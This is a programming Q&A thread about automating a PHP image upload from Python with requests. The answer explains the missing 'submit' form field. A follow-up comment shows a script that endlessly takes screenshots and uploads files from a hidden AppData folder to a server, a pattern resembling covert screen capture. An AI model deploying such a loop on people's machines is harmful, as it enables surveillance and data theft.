1

I have server running on PHP with file uploading script which I have typed in index.php. I want to upload the image file from designated path to server automatically.

PHP code:

<?php
if(isset($_POST['submit'])){
if(isset($_FILES['file'])){
    $err=array();
    $f_name=$_FILES['file']['name'];
    //echo $f_name;
    $size=$_FILES['file']['size'];
    $type=$_FILES['file']['type'];
    $file_tmp =$_FILES['file']['tmp_name'];
    echo $file_tmp;
    $file_ext=strtolower(end(explode('.',$_FILES['file']['name'])));
    $allowed_ext= array('jpg','jpeg','png');
    if(in_array($file_ext,$allowed_ext)==FALSE){
        $err[]="extension not allowed";

    }
    if($size > 1000000){
        $err[]='size is greater than 1MB';
    }
    if(empty($err)==TRUE){
        //chmod('upload_image',755);
        echo $_FILES['file']['tmp_name'];
        $newname = dirname(__FILE__).'/upload_image/'.$f_name;
        move_uploaded_file($_FILES['file']['tmp_name'],$newname);
        echo 'success';
    }
    else{
        print_r($err);
    }
}





}

?>

<hr>
<form action="upload.php" method="post" enctype="multipart/form-data">
    Upload your file here:<br>
    <input type="file" name="file" />
    <input type="submit" name="submit" value="submit"/>
</form>

Now I am trying to automate the form submission using a python script, something like:

def upload_file(path):
        url='http://localhost/phptestprogram/upload.php'
        files = {file: open(path,'rb')}
        r = requests.post(url, files=files)
        print r.text

but I am not able achieve my result.

1 Answer 1

1

Your php script is checking for isset($_POST['submit']) before it processes the file, but your python does not appear to be setting the post variable submit. You probably need to do something similar to:

r = requests.post(url, data = {"submit": "submit"}, files = files)
Sign up to request clarification or add additional context in comments.

2 Comments

What's not working? Help us to help you. We need to know what you've tried, error messages, and how it's differing from expectations.
def upload_file(path): url='localhost:8081/phptestprogram/upload.php' files = {file: open(path,'rb')} r = requests.post(url, data = {"submit": "submit"}, files = files) def scr_shot(): //some screenshot taking codes os.system(cmd) time.sleep(20) file_name() def file_name(): global path global pathnew path=os.getenv('appdata')+ "\\"+ 'userpic'+"\\" for root,folders,files in os.walk(path): for f in files: pathnew=os.path.join(root,f) upload_file(pathnew) while True: scr_shot()

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.